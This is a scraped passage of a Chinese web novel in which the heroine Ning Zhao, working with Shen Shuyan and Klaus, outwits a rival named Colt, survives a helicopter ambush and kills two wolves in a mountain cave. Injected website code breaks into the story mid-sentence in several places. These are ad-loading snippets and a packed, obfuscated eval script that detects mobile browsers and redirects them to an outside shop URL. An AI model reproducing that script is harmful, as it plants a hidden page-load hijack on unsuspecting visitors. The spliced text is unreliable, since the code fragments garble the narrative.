“你叫什么名字？” 见宁昭的语气里带着些小骄傲，柯尔特笑了：“我叫柯尔特。” 不得不说，虽然柯尔特其貌不扬，但他身上真有一股有钱人独有的运筹帷幄的松弛感，仿佛一切都在他的控制之中，自大得让人恶心。 克洛斯也有这个毛病。 宁昭向来不喜欢这种掌控权力后就目空一切凌驾于所有人头上的上位者，所以她想快点找机会下手，便靠近了他两步，假意应声：“Cynthia。” 名字是她随便诹的，叫什么都无所谓。 “Cynthia，你要知道，一个女人只有足够聪明，她才能得到自己想要的。” 柯尔特把酒杯放到一旁，面对她的靠近毫不防备，反而略有些兴奋：“你不妨告诉我，你想要什么？我拥有很多，所以，能给你的也有很多。” 宁昭刚想上前，却在这时听到一道声音。 “老板，沈书言要见您。” 门不知道什么时候被打开，一个黑衣人站在那里，毕恭毕敬地敲了敲门。 好事被打断，柯尔特脸色黑了下去。 宁昭心底也涌起异样，不明白沈书言葫芦里卖的什么药。 他这是要干什么？ “他人在哪儿？” 柯尔特问。 “三楼俱乐部。” “你要走了吗？” 宁昭不甘心放弃唾手可得的机会，出言打断了柯尔特和黑衣人的对话：“那我怎么办？” 看到宁昭微蹙的眉头，柯尔特的心痒得很，既想不管不顾先和宁昭温存一番，又不敢怠慢了在楼下等他的沈书言。 “既然如此，带我一起去见见世面如何？” 看出柯尔特的犹豫，宁昭歪头看他，语气认真：“不方便就算了。” 想到沈书言，其实柯尔特并不想带宁昭过去。美丽的女人谁都想要，他私心想独占她，但他到底也是个商人。面对摆在眼前的利益和区区一个女人，他能掂量得清到底谁的分量更重。 上了他的船，宁昭在他眼中就已经成为了一盘菜。这盘菜到底是留着自己吃还是送给别人，决定权都在他。 不过是犹豫了几秒，柯尔特就爽快地答应了。 精明如宁昭，一眼就看穿了他的想法。 她太了解这些男人。在名利场上，女人只是他们用来获取利益的资源，他们几乎不会打心底里拿平等的眼光去看待像她这样美得显而易见的花瓶。 但越是面对这样不拿她当回事的人，宁昭越来劲。 来到三楼俱乐部的私密包厢，推开黑金色的大门，浓烈的香水味混杂着酒味扑面而来。 沈书言坐在最中间的沙发上，手中拿着酒杯轻晃。金色的灯光照射在房内豪华的水晶内饰上，折射出璀璨的光彩，连他杯中的冰球都能看出晶莹剔透的棱角，空气间都是纸醉金迷的味道。 “抱歉沈总，让您久等了。” 大概是想先礼后兵，柯尔特言辞谦逊，和沈书言的嚣张狂妄形成了强烈的对比。 “真是大忙人啊。” 沈书言将酒杯递给一边的小五，抬头看了眼跟在柯尔特身后的宁昭，像是来了兴致，唇畔噙着淡淡的笑：“美人在怀，看来是我打扰了你的好事？” 听出他语气里的揶揄，宁昭微不可察地眯了眯眼睛，给他飙了一记眼刀，好像在说：说话不能不算话。 沈书言了然，不动声色地收回了视线。 “哪有的事。” 柯尔特见状立马堆起笑容，走到沈书言身边坐下：“我先自罚。” “不必劳烦你。” 沈书言笑着往宁昭的方向抬了抬下巴：“让这位美女陪我喝两杯，如何？” 果然，柯尔特的眼中的恼火一闪而过。随后，他看向宁昭，言辞冷淡：“Cynthia，去陪沈总喝两杯。” 明明两人只是交换了名字的关系，柯尔特却故意言辞暧昧，好像他们有多熟一样。也许他笃定了宁昭会懂事，所以才会这样肆无忌惮，一点前摇都没有就开始使唤她。 既然沈书言在这里，宁昭也不打算轻举妄动。于是，她看了柯尔特一眼，很听话地在他阴沉的目光中走到沈书言身边，端起酒杯，毫不客气地坐进了他的怀里：“沈总，这杯我陪您喝。” 端着酒杯，宁昭觉得自己腰间一紧。沈书言伸手揽紧她的细腰，堪堪和她碰了个杯。等宁昭仰头将酒喝尽后，他也顺势将杯中的酒液喝完。 “说吧，克洛斯在哪里？” 沈书言丝毫没有松开宁昭的意思，就这样抱着她看向柯尔特那张铁青的脸：“惹了他没有好下场，我想你应该比我更清楚。” “但如果沈总能把手里的控制权分我一点，他就不能拿我怎么样了。十分之一控制权换你兄弟的命，怎么样，这个生意做不做？” 如果能拿到权力，一个女人又算什么。想到这里，柯尔特的脸色稍微缓和了些。 听到他的要求，沈书言一时没有说话，只是带着一脸耐人寻味的表情，幽幽地看着柯尔特，让他心里有些发毛。 忽然，宁昭感觉耳边传来湿热的触感。还未等她反应过来，沈书言就已经凑近她，张嘴咬住她的耳垂。 她的心猛然一惊，下意识想扭动身体，却听到他用只有两个人能听到的声音在她耳边低声道：“激怒他。” 这画面落在柯尔特的眼睛里，实在太过暧昧。 原本软玉温香在怀的人应该是自己，结果现在不仅美人没了，自己还处于被动的局面，柯尔特握着杯子的手逐渐捏紧，脸色也变得越来越难看。 立刻g (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' et到沈书言的意思，宁昭娇羞地笑了，语气也变得酥软：“沈总……” 她声音娇媚，与她今天的扮相非常适配，听得沈书言倒抽一口气，伸手捏了捏她的腰，示意她正常点，不必这么夸张。 但宁昭已然进入状态，哪里会理会沈书言的提醒。她伸手勾住他的脖子：“你长得真好看。” “是吗，你喜欢好看的？” 沈书言明知故问。 “哪个女人不喜欢好看的男人？” 目光一直落在他脸上，宁昭笑得妩媚荡漾：“沈总不仅好看，还很厉害。我想，这个世界上应该没有女人会拒绝你这样的男人吧。” 说话间，她眸中涌动出兴奋而喜悦的光彩，漂亮的脸上全都是对沈书言的崇拜，像是她现在说的话才是她内心最真实的想法。 看着这张满怀希冀的小脸，沈书言感觉心被击中，一股说不清道不明的情愫在心底荡漾开来。 她的眼睛太灵动了，好像会说话。 而正是这样真情流露的表情，深深刺痛了柯尔特的心。 男人最珍视的东西无非就是是权力、地位、财富。但同等重要的，还有面子与虚荣心。 想到刚才的宁昭还有些冷淡，如今在沈书言面前却完全换了副模样。又想到自己确实各方面都不如沈书言，甚至他现在在一本正经地和他谈条件，他却仍然不拿正眼看他。 面子里子都丢了，柯尔特顿觉怒火上涌，刚想张嘴说些什么，却在下一秒发现面前的场景开始飞速变幻。 顷刻间天翻地覆。 再次睁眼，柯尔特发现他已经在一架飞机上。他被按在地上，面前是打开的舱门，剧烈的风声从耳边刮过，吓得柯尔特的心立马吊了起来，一时还没意识到究竟发生了什么。 “我劝你别动。” 冷淡的女声从头顶传来，仔细听还能听出淡淡的嫌恶。 柯尔特想抬头，却被黑洞洞的枪口堵住了太阳穴：“别动。” 女声再次重申。 小五将柯尔特按在地面，宁昭在一旁拿枪指着他的脑袋，而沈书言则是拿出一份文件，抓住柯尔特的头发往上拎，强迫他看向面前的纸张：“跟我谈条件，你手里有筹码吗？” 看清纸上的内容，柯尔特瞳孔猛然放大。 “这些是你名下的所有产业。” 沈书言拍了拍柯尔特的脸：“虽然你做的生意不太干净，但没人会和钱过不去，这些我就勉强收下了。下辈子注意点，别再做自不量力的事。” “沈书言！你不能打破规则……” “规则？” 沈书言像是听到天大的笑话：“你不会觉得这么多年我和你相安无事，是因为我遵守规则的缘故吧？” 只不过是懒得理你罢了。 听出他的言外之意，柯尔特气得脖子涨红，怒目圆睁地看着他：“你不想要克洛斯活命了？！只要我手下知道我出事了，他们就会立刻杀了他灭口……” “杀谁，我吗？” 机舱里忽然响起另一道男声。听清声音后，柯尔特的脸色“唰”的变得惨白。 克洛斯走到他面前，用脚踢了踢他的脸：“在你眼里，我就这么好杀？” 58. 沙漠生存指南 柯尔特手中唯一拿得出手的筹码突然出现在他面前，看到克洛斯似笑非笑的脸，他顿时慌了神：“不可能……” “不可能？为什么不可能？” 虽然他的声音中含着警告的意味，但语调却很平，表情也不狠戾，完全不是宁昭印象中的那个克洛斯。 如果是记忆里的他，可能还没等柯尔特说话，他就已经一脚把人踢进海里了，哪会这么好声好气地逗他玩。 “不可能，你怎么可能单枪匹马……” “那你知不知道，我手下的金越是整个虚妄之都等级最高的幻术师？” 还没等柯尔特说完，克洛斯就打断了他的话。 柯尔特自以为他花费这么多年培养的势力总算能有与沈书言谈判的筹码了，却没想到还未等他发力，就已经被掐死在了摇篮中。 也许在船上的画面是幻觉，或者此时此刻的画面也是……柯尔特就像站在雾里，什么都看不清。 唯一能确定的就是他的大势已去。 “废什么话。” 沈书言不耐烦，将手中的文件按在地上。小五强行按住柯尔特的手，拿小刀划开他的手指，并在文件上留下了他的指印。 “本来想提着你的头去总部让你的手下看看，但我实在没那个耐心。” 这句话说完，小五像是知道沈书言下一步要做什么，直接从他柯尔特身上起来，解除了对他的桎梏。 压在身上的重量骤然减轻，柯尔特觉得松了口气，但身体又忽然传来猛烈的冲力。 失重感突然降临，随后便是极速的坠落——沈书言确实没跟他废话，直接抬脚把他踹下了飞机。 在柯尔特掉下飞机的前一秒，他对上了宁昭那双冷然的双眸。 其实宁昭早就知道，从上船开始，她们就一起进入了金越制造的幻境。沈书言之所以让她激怒他，是为了波动他的情绪以达到切换幻境的目的，这也是他曾经教过她的。 而在他们和柯尔特周旋时，沈书言和克洛斯的手下就已经潜入了他的总部，来了个偷龙转凤。 “又见面了。” 本想多和柯尔特聊两句的克洛斯见状，一脸意犹未尽地坐回座位，看向一旁的宁昭：“你在幻境里表现得很冷静，磁场也没有受到干扰，是之前进过么？” 一旁的金越听到这话，摇了摇头：“二哥，我没有对她开过幻境。” 宁昭没有回答，只是收起手中的枪，想将它放回背包。 “这枪是哪里来的？” 沈书言眼尖，看清她手中这把枪的款式，伸手握住她的手腕。 “你猜猜看。” 想到这枪的来历，宁昭挑挑眉，一副我就不说你能拿我怎么样的表情，看得沈书言发笑。 “随便你。” 他松开她躺回座位：“你刚才的演技挺好。不知道的还以为你是演员。” 不管是未来还是现在，沈书言都说过这句话。宁昭就当他是在夸她了，没有应声。 被无视的克洛斯感觉有些纳闷。他不懂为什么不过一天的功夫，宁昭就已经和沈书言这么熟了，也不明白为什么她对他的态度总有些若有似无的敌意。 他明明什么都没有做。 此时，小五已经关好了舱门。直升机开始平稳飞行，准备离开这片海面。 “大哥，情况不太妙。” 飞行员看着远处一个忽明忽暗的黑点，皱起了眉头。 天色渐晚，夕阳的余晖穿过云层打在海面上，那束光便把远处穿梭在云层里的黑点映衬得更加清晰。 沈书言眯起眼睛往前看了眼，原本还闲散着的表情顿时严肃起来，整个人也坐直了身体，声音凛冽：“转头。” 但是已经来不及。 “轰”的一声巨响取代了螺旋桨发出的轰鸣声。一颗子弹打中直升机的铁壁，整个机身都开始剧烈颠簸起来。 宁昭没系安全带，身材又比较纤薄，一个晃荡就从从座位上摔下来，狠狠往机壁摔去。 然而，预想中的痛感并没有传来。炙热又有力的小臂揽住她的腰，将她从失重状态拉回来，稳稳抱进怀里。 宁昭看到克洛斯那双如汪洋般深邃的蓝色瞳孔，还没来得及去反应，第二颗子弹便又精准命中了直升机。 “准备跳伞。” 耳边响起沈书言冷静的命令声。顷刻间，他已经代替飞行员坐进驾驶座，稳稳握住操纵杆。 克洛斯捞人的功夫，小五、金越和飞行员都已经利落地作好准备。而宁昭也反应过来，眼睁睁看着克洛斯给她套救生衣。 “大哥，应急降落伞只剩一套了，我的给你……” 小五捏着手中的背包就往沈书言身旁送。 “我有办法，赶紧穿别废话。” 在如此生死攸关的时刻，小五不敢忤逆沈书言的话。于是，他快速穿戴好装备，走近了再次开启的舱门。 但是对面来势汹汹，子弹如雨般扫向直升机，留给他们的时间并不多。沈书言冷眼看了看云层之下的景色，直到暼见不远处有一片广阔的空地，他手腕一抬，整个机身就斜倾过去，以一个令人看不懂的姿势朝海面俯冲。 “金越设置幻境，宁昭拿地图。” 克洛斯的手很稳，哪怕飞机已经倾斜颠簸，宁昭也依旧能快速从背包里掏出地图展开。呼啸不断的风源源不断地灌了进来，金越的幻境已经形成，在沈书言的命令下，小五为首的三人先从飞机上跳了下去。 而宁昭手中是一张墨西哥边境的局部地图。飞机直直朝海面坠落，她根本没有时间去思考，目光所及之处锁定了一片海面之外的区域。 “沈书言，你把手给我……” 在触碰到他手腕的瞬间，白光再次出现。 * 事到如今，宁昭非常感谢系统给了她这样一个技能。不仅能随时随地实现空间移动，还能带上自己的队友。 只不过这次地图好像出了些bug，因为，和她一起落地的只有克洛斯。 目光所至是一片茂密的森林。四周尽是参天的大树，浓翠蔽日，附近除了他们再无人烟，当然也没有沈书言的身影。 “你怎么样？” 大概是下落得太快的缘故，克洛斯给宁昭套上的救生衣已经被凌乱的树枝扎坏，他顺手帮她脱下来扔到一旁：“放心，他不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会有事。” 宁昭稳住错乱的呼吸，抬头看向克洛斯：“刚刚袭击我们的是什么人？” 克洛斯摇头：“不知道。可能是柯尔特的手下，也可能是其他人。” 他们招人恨，被惦记上是常有的事。只是今天事发突然，没有防备才遭了暗算。 小腿传来酸痛感，宁昭看了看脚踝，已经红了一片。也许是落下时崴到了，她动了动脚，发现还能走，便忍着痛站起来，只是她微蹙的眉心还是把她的状态暴露得一览无余。 “来吧。” 克洛斯在她面前弯下腰：“你穿着高跟鞋不好走路，我背你。” 宁昭从未想过会和克洛斯有如此和睦的一天。 她心中并没有原谅未来那个嚣张跋扈的他，但刚才在飞机上又确实是他救了她。于是，宁昭有些拧巴地摇了摇头：“不用，我自己来就行。” 吃人嘴短拿人手软，他们之间还是不要有过多的交流，省得给以后的她添麻烦。 “你这女人很奇怪。” 再次感受到宁昭的若即若离，克洛斯弯腰的动作没变，语调却上扬了些：“我之前惹过你吗？” 他百思不得其解。别说他之前见都没见过这个女人了，退一万步讲，他昨天在沙漠里救了她，怎么着也得是个救命恩人的关系，她为什么会如此退避三舍？ 他是个犟种，宁昭不上来他就一直蹲着。眼见着天色越来越黑，她实在不想在这么阴森的地方久留，最后还是咬咬牙，爬上了他的背。 宽厚的肩背温热踏实，他的力气很大，双手托着她的小腿一步步往前走。天地间一时只有克洛斯走路时踩上杂草的咯吱咯吱声，还有时不时从森林中穿梭的小鸟抖动翅膀的声音。 “我们在哪里？” 刚才情况紧急，她背包里唯一一张地图也被用完了，她根本对此时的处境一无所有。 “应该是在加勒比海旁边的山脉里。” 宁昭用技能时克洛斯瞥了个大致方位。但那时飞机太颠簸，所以最终也没能看得清具体是落在哪个点。 四周确实是高耸入云连绵不绝的山脉，他们应该是在半山腰，因为往下的路很陡峭，如若不是克洛斯步伐稳健，让宁昭穿着高跟鞋自己走，指定得摔跤。 “加勒比海？” 她上一次听到这个名字还是在《加勒比海盗》。不过现实不是演电影，她也不是在旅游的。如果真的掉在了山脉区，她手头又没有地图，到何年何月才能走出这个地方？ 她死了倒也没关系，系统会自动送她回去。但克洛斯和沈书言呢？队友哥现在下落不明，在这么大的一片区域里，她们根本不可能找到他。 “沈书言会找到我们的。” 不知道是不是知道宁昭心里在想些什么，克洛斯说这话时语气凉凉的：“我们现在要做的就是找个山洞待着。” 听到这句话，宁昭不置可否。 队友哥身上有gps定位系统，只要定点安置下来，他就能顺着技能找到他们。 “我一直想问——” 忽然，克洛斯再次开口。 “你很喜欢沈书言那种坏男人吗？” 59. 沙漠生存指南 坏男人？ 宁昭啼笑皆非：“有你这样在背后说好兄弟坏话的吗？” “实话实说而已。” 克洛斯一点都不觉得自己冒犯了沈书言，背着她健步如飞：“你们女人就喜欢坏男人。” 太尴尬了。这句话谁都能说，就是不能从克洛斯嘴里说出来，宁昭实在是没办法接受。 “那你觉得你就不是坏男人了？” 她反问过去，试图把话题引到克洛斯自己身上。 “不要扯开话题。和他比起来，我算什么坏男人？” 克洛斯才不吃她这一套，只轻哼了一声，仍旧稳健地往前走。 这样的克洛斯虽然陌生，却也平易近人。反思了一会，宁昭觉得自己戴有色眼镜看人的行为对眼前这个男人来说确实不太公平，于是她平下心绪，整理了一下措辞：“克洛斯，其实人不一定要做坏事。” “什么意思？” 他稍一侧头，宁昭就能看见他优越的下颌线。 “我不喜欢坏男人。” 想到未来的那个他，虽然知道自己说这话的意义不大，但宁昭还是想说：“不仅是我，多数女人也不喜欢坏男人。小娇妻爱上黑老大的剧情只会出现在小说里，你不要为了没必要的人或事改变自己原本的人生轨迹，那样不值得。” 现在的克洛斯还没有接触到那些肮脏的生意，性格也是出人意料的阳光开朗。她不明白究竟发生了什么事致使他变得那样残暴狠戾，但如果可以的话，她想帮一帮他。 也许也是在帮以后的自己。 克洛斯没多想，无所谓地笑笑：“你说出来的话和你的行为有些不一致啊。” 既然不喜欢坏男人，又何以对沈书言露出那样的表情？她看他的眼神并不清白。 “重点在后面。”宁昭强调。 “嗯，我的人生轨迹。” 他思考了几秒钟：“没想好。想做什么就做什么，这就是我的人生轨迹。” 这个回答确实很克洛斯。 见跟他说了没用，宁昭也就不再多嘴，就这样无声地趴在他的背上，祈祷着沈书言能快一点找到她。 想到队友哥刚才开飞机时的沉着冷静，身上完全没了平日的痞气，她不由得又将他的身影与她认识的那个沈书言重叠。 她好想他啊。 后面没了声音，克洛斯也很识趣地没有找话题，加快了脚下的步伐。只是这片山区的地形非常刁钻，它没有被开发，需要靠脚踩出道路，而他们掉落的地点又是半山腰，所以一路走来蜿蜒曲折，从上往下看更是令人心惊。 但克洛斯却如履平地，像没事人一样灵巧地穿梭在这片宁昭认真走都会摔倒的颠簸山路上，直到天色彻底暗下去，宁昭快看不清脚下的路，他才终于在一个山洞面前停下。 “先在这里待着，等沈书言来找。这座山里野兽很多，我们最好保持安静，省得麻烦。” 将宁昭从背上放下来，克洛斯靠着石洞壁坐下，长舒一口气，看起来好像很疲惫，语气也有些急促。 夜色婆娑，虽然山间没有灯光，但月色明亮，月光顺着洞沿打下来，刚好能照亮克洛斯的脸。她看了他一眼，本想在他身边坐下，却忽然觉得他有些不太对劲。 “你怎么了？” 宁昭皱眉，也顾不得泥土会弄脏她的裙子，直接跪在了地上：“你脸色看起来不太好。” 相比较前些时候的淡然自若，克洛斯依靠在石壁上，表情看起来略微有些痛苦，只不过他一直隐忍着，所以她到现在才发现端倪。 她立马低头去检查，果然发现他小腿处的衣服不知道什么时候被划破了，暗红色的血液渗透出来，已经快染红整片布料。而且不知道是不是天色太暗的缘故，宁昭看着那块血迹，竟隐隐觉得有些发黑。 “你受伤了……” 她心一惊，连忙去背包里掏之前囤的药品：“我帮你处理一下。” 想到克洛斯背她过来时一声不吭的模样，她心头不免涌上愧疚：“受伤了怎么不知道说？” “原本以为是小伤，觉得没必要。” 克洛斯忍着血液中奔腾的痛意和麻痹感，故作轻松道：“被树枝划了一下还要叫，算什么男人？” 没想到他的调侃并没让宁昭放松下来，反而引起了她的疑心：“原以为是小伤是什么意思？” 本来想再逗宁昭几句，但麻痹感逐渐开始侵蚀克洛斯的四肢百骸，他难受得有些受不了，倒吸一口气：“划伤我的树枝可能有毒，不过没事，死不了。” 有毒？ 宁昭看了看外面，这鸟不拉屎的地方到处都是缠绕生长的荆棘与藤草，有的上面还爬满了锐利的尖刺，一个不小心就会被划伤。如果植物茎叶有毒，划伤皮肤后定然会对人体产生一定的影响。 她有些急了：“你忍一忍，可能有些疼。” 当务之急是帮他伤口消毒，宁昭管不得那么多，也没征求克洛斯的同意，“撕拉”一声扯开了他裤腿的布料，将酒精倒在酒精棉上，帮他小心翼翼处理伤口。 那根枝条扎得很深，不仅在他腿上拉了长长一道，连血肉都外翻出来，血液哗啦啦往外流，看起来十分触目惊心。 宁昭的动作很轻，虽然冰凉的酒精擦到肌肤时仍然带来一阵锐利的刺痛，但这点疼痛对于克洛斯来说聊胜于无，于是他便靠着山洞的石墙认真观察她为他上药时的神情，一看就不由自主看入了迷。 “觉得我漂亮？”宁昭头也不抬。 她对他的眼神很熟悉。尤其是这种炙热滚烫到快黏到她身上的眼神，她更是无法忽视。只不过现在克洛斯是病号，而且还是为她负伤，她懒得跟他计较。 “嗯。不过你今天的样子，和昨天很不一样。” 他还记得他第一次见到她这张惊为天人的脸时的场景，但印象更深刻的却是她的气质。 她给人一种生人勿近的清冷感，虽然在沙漠里流浪了一天略显狼狈，但眉间那股凛冽的清明却比她美艳的脸来得更有冲击力。 但今天她化的妆却很乖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。像是刻意收敛起眉目间的锋芒，变成了男人眼中最典型的乖巧芭比，低眉顺眼的模样让人感觉顺从讨好，没有任何杀伤力。 “别被外表迷惑了。” 像是知道他在想什么，宁昭勾勾唇：“越是漂亮乖巧的女人，越容易要你的命。” “看不出来。”他笑：“只知道你现在在救我的命。” 本着人道主义精神，宁昭没有再怼他，为他上药的动作也很轻。 但就算有心帮他，她也只能先对他的伤口进行简单的包扎。对于他身体里蔓延的毒素，她一点办法都没有。 “我想想办法，看怎么才能联系到沈书言。” 如果她带了手机，说不定还好解决一些。但她是空着手过来的，身边能用的只有放在背包里的道具，连一瓶水都买不了。只有早点获救送他去治疗，才能避免更严重的后果。 “只是被划拉一下，就算有毒也死不了。” 克洛斯见宁昭这么关心她，唇畔的笑变得更灿烂：“坐下休息一会吧。” 这时，宁昭已经用纱布帮他的腿包扎好。除此之外，确实也做不了更多的事，她松了口气，在他身旁坐下：“等吧，等到天亮……” 一阵冷风吹过，宁昭忽然觉得身上起了一层鸡皮疙瘩。莫名的恐惧感从心底涌起，不知道为什么，第六感让她觉得如芒在背，刹那间连动都不敢动。 而克洛斯的反应比宁昭更快。还未等她有所反应，他就已经按住了她的手，声音很低：“不要动，不要看它的眼睛。” 就在山洞入口的草堆里，隐隐约约露出了一双金色的瞳孔。它潜伏在草丛中，一直盯着宁昭与克洛斯所在的方向，却迟迟没有动静，不知道在那里待了多久。 那是一匹狼。 屋漏偏逢连夜雨。如果克洛斯没受伤，对付一只狼完全是小菜一碟，但他现在动不了。划伤他的树枝毒性不猛，麻痹性却很强，他受伤的小腿已经完全没了知觉，根本没办法起身，更别提去单挑一匹野狼。 “克洛斯。” 宁昭掏出背包里的刀：“谢谢你今天帮我。” 那只狼的来意不善，她能感受到。如果她不出手，那两个人就只有死的份，所以她必须站出来。 克洛斯根本没想过她会这样做，惊得瞳孔地震。 他的身上骤然被拍了一张符纸，面前的宁昭也随之消失，只有她低沉的声音在山洞里回响：“相信我，我能搞定。” 她心里其实没有多大把握，只不过是背包里囤着没用的道具给了她满满的安全感。 贴上隐身符纸后，两个大活人瞬间消失不见。这场面吓得那只野狼直接往后退了几步，草丛间发出很明显的沙沙声，在空幽的山洞里产生了些许细微的回声。 即使是用了道具，宁昭依旧没有掉以轻心。为了避免发出太大的噪音，她脱掉了高跟鞋轻轻往外走，却在靠近洞口时感觉身上冒出了冷汗。 视线往左，她的呼吸顿时变得更加急促。 她看见了第二匹狼。 60. 沙漠生存指南 两匹狼是一起来的，一左一右藏在草丛中，距离不远，却都做出了防御姿势，显然是被突如其来的变故吓到，暂时不敢轻举妄动。 宁昭停下脚步，屏住呼吸，朝四周看了看，没有再发现其他野兽的迹象，想来听到动静过来的就只有面前的这两只了。 她手里有枪，但她不敢用。四周寂静无比，狼的听觉又十分灵敏，如果她开枪，说不定会引来更多的野生动物，那她一个人就应付不过来了。 月光下，野狼灰黑色的皮毛看着像光滑的绸缎。它们嘴巴微张，露出尖锐的獠牙，正朝着宁昭站的地方低声嘶吼，不知道什么时候会扑过来。 果然，动物能感受到一般人看不到的东西。即便宁昭已经隐身，它们却还是没有放下警备心，仍旧想要往山洞的方向走。 两只没办法一起对付，于是宁昭思忖片刻，弯腰捡起一颗石头，远远扔到了左边那只野狼的附近，吓得它一个激灵，果然往后退了几步。 随后，她小心翼翼地往前走，但还是不可避免地踩出了些微的声响。正当那狼撕咬着要冲上来时，宁昭手里的短刀已经变幻成一把弓箭，对准那狼的眉心直直射了过去。 一声闷响，弓箭精准命中眉心，野狼随之倒地。 这是她上个副本结束后在商城斥巨资买的攻击性武器。武器本体是一把小刀，刀柄上有按键，按一下会变成带有剧毒的弓箭，接触到后会在短时间内迅速麻痹神经，不及时给解药的话，只有死路一条。 足够她应付一次紧急危机，但缺点是只能用一次，随后便会自动回到小刀状态，cd期是6个小时。 “呜……” 那只被石子吓退的狼见状呜咽着扑到它身边，嗅了嗅它身上的血腥气，嗓子里发出断断续续的嘶吼声，像是在哀悼它突然失去生命的同伴。 宁昭并不打算放过他。 狼是群居动物，既然这里能出现两只，那就说明山里还会有更多。如果放走了其中一只，说不定会引来更多的狼群。 克洛斯不能动，他们走不了多远，届时情况会更危险。所以这只狼，她一定要杀。 最趁手的武器已经用完，手上只有一把短刀，她没办法远程攻击，只能把狼引到身边，再给它致命一击。 如果是放在寻常，人完全没办法和狼比速度。但好在宁昭可以隐身，在这种情况下就可以一试。 那只狼在同伴尸体边嗅了好一会儿，随后便抬眸看向山洞，往前迈了一步。它走路的动作非常缓慢，带着试探的节奏一步步靠近宁昭，踩出沙沙的声响。 低哑的嚎叫声逐渐靠近，宁昭的神经也高度紧绷了起来。寂静夜色中，她甚至能听清自己扑通扑通的心跳声。 但机会只有一次，她不能犹豫。 就在那匹狼快走到她身边嗅她四周的空气时，她猛地一脚踩在它的脖子上，毫不犹豫地将短刀插进他的肚子里。 这个姿势不能一击毙命，那匹野狼在被刺中后便开始疯狂嘶吼挣扎，宁昭力气不够，一不小心被挣扎开，小腿顿时传来剧痛。 它张嘴咬住宁昭的小腿，尖锐的牙齿扎破她的皮肤开始撕扯她的血肉，她疼得想大叫，但残留的意识却提醒她不能松，松就死定了。 抱着这样的信念，宁昭加重脚上的力气，猛地把刀拔出来，再次用力将刀插进它的身体，反反复复好几次，就这样重复着刺刀拔刀的动作，直到身下彻底没了动静，她这才停下动作，呼吸错乱地看向它的头。 它已经死了。 咬住她小腿的牙齿已经松开，宁昭软着腿起身，鲜血溅满她的脸，她忍着剧痛看了眼脚下，发现小腿处是刚被野狼咬出的伤口，鲜血如注，看起来十分恐怖。 它咬她时用了力，所以伤口很深。但好在宁昭杀得快，这才没有被他扯下皮肉，忍一忍甚至还能走路。 “宁昭——” 耳边传来克洛斯的声音，她却置若罔闻，提着野狼的尸体一步一步往前走。一直走到不远处的山口，她低头看了眼深不见底的悬崖，毫不犹豫地将两具尸体扔了下去，连回声都听不到。 做完这些她才回到山洞。隐身符纸已经失效，她扶着墙一瘸一拐地走进去，克洛斯一抬头便看到她那张沾染着鲜血和泥土的脸，还有被血染成深红色的缎面裙摆。 树枝的毒性太强，克洛斯不仅无法起身，连意志都变得有些薄弱。不过他仍靠强大的意志控制着神经，将手递给了宁昭：“你坐下，我帮你处理伤口。” “你自己都动不了了，怎么帮我处理？” 宁昭疼得满脸苍白，却仍打趣着：“别担心我，你好好躺着吧，我没中毒，待会自己处理一下就行。” 克洛斯不明白，为什么这个女人看起来柔柔弱弱的，却能展现出那样的爆发力。 他震撼、惊讶，也觉得羞赧。一个大男人，因为被树枝刮了一下就站不起来，还让一个女人单挑两匹野狼保护他甚至负伤，他算什么男人？ 但同时，他好像也听到了自己震耳欲聋的心跳声。 “别露出这种表情，”宁昭再次掏出酒精，用他之前说过的话调侃他：“在你眼里，我就这么弱？手撕两只野狼，战绩可查，以后叫姐战狼。” 这还是她这辈子头一次装这样的逼。虽然受了点伤，但想到自己刚才的英勇无畏，她还是不由自主地自恋了一下。 只可惜没摄像机记录一下，不然这肯定会成为她的人生视频。 “嘶……” 宁昭对自己也是够狠，倒了酒精的棉花直接往伤口上敷，疼得她流出了生理性的眼泪，却依旧咬着牙一声不吭。 “不怕吗？” 见自己不能帮上什么忙，克洛斯深吸一口气，试图转移她的注意力，稍微削减些她的疼痛。 “我更怕死。” 她咬着牙，一点一点抹去腿上的血迹：“要死也得挑个好地方死。葬身在这种荒郊野岭，岂不是白死了？” 准确来说，比起死亡，宁昭更害怕等死的过程与死亡的痛苦。相比较成为狼的盘中餐，腿上受点小伤倒也没什么。 好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13795213|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易将腿上的血迹都清理干净，看到白皙肌肤上被狼咬破的伤口，宁昭有些心疼。她忍疼在伤口上撒上药，又用棉布一层层包上，一切结束后，她已经满头大汗，连身上的连衣裙都被汗水浸湿。 “宁昭。” 靠着石壁，克洛斯歪头看他，月色将他这张镌刻般的俊脸映照得更加朦胧：“我欠你一个人情。” 宁昭刚想说他们俩的恩情抵消了，但她又想到未来会发生的事，终究还是没有反驳，只轻轻“嗯”了一声，再无其他。 “你靠着我睡会吧。”克洛斯看着洞口，神情遥远，不知道在想什么：“如果有情况，我会叫你。” 现在他们两个都负伤了，只有等沈书言来救。 宁昭确实累了，但越是这个关头，她越不敢睡。 “你还好吗？” 身旁忽然没了动静，宁昭心下一惊，转头去看，发现克洛斯靠着石壁，双眼紧闭，脸色看起来很差，呼吸声也变得薄弱。 宁昭觉得好气又好笑。既要逞强，又不看自身的状况，前一秒还说要叫她，下一秒自己就倒下了，全身上下就剩一张嘴在硬撑。 虽然这样想，但她还是伸手去推他：“克洛斯，别睡，睡了就死了。” “放心。” 她的手被蓦地攥住，冰凉的触感如这晚的月色，一缕缕钻进她的指尖。 他睁开眼，眉目清明几分：“这种毒素只会麻痹人的神经，哪怕不及时治，也死不了人。” 他抓着她的手没松：“今后你可以和我提任何要求，我都会答应你。” 像是怕她忘了，他再次重申了一遍，并且说得比上次更认真具体，像是在给她一个郑重的承诺。 这不对吧。 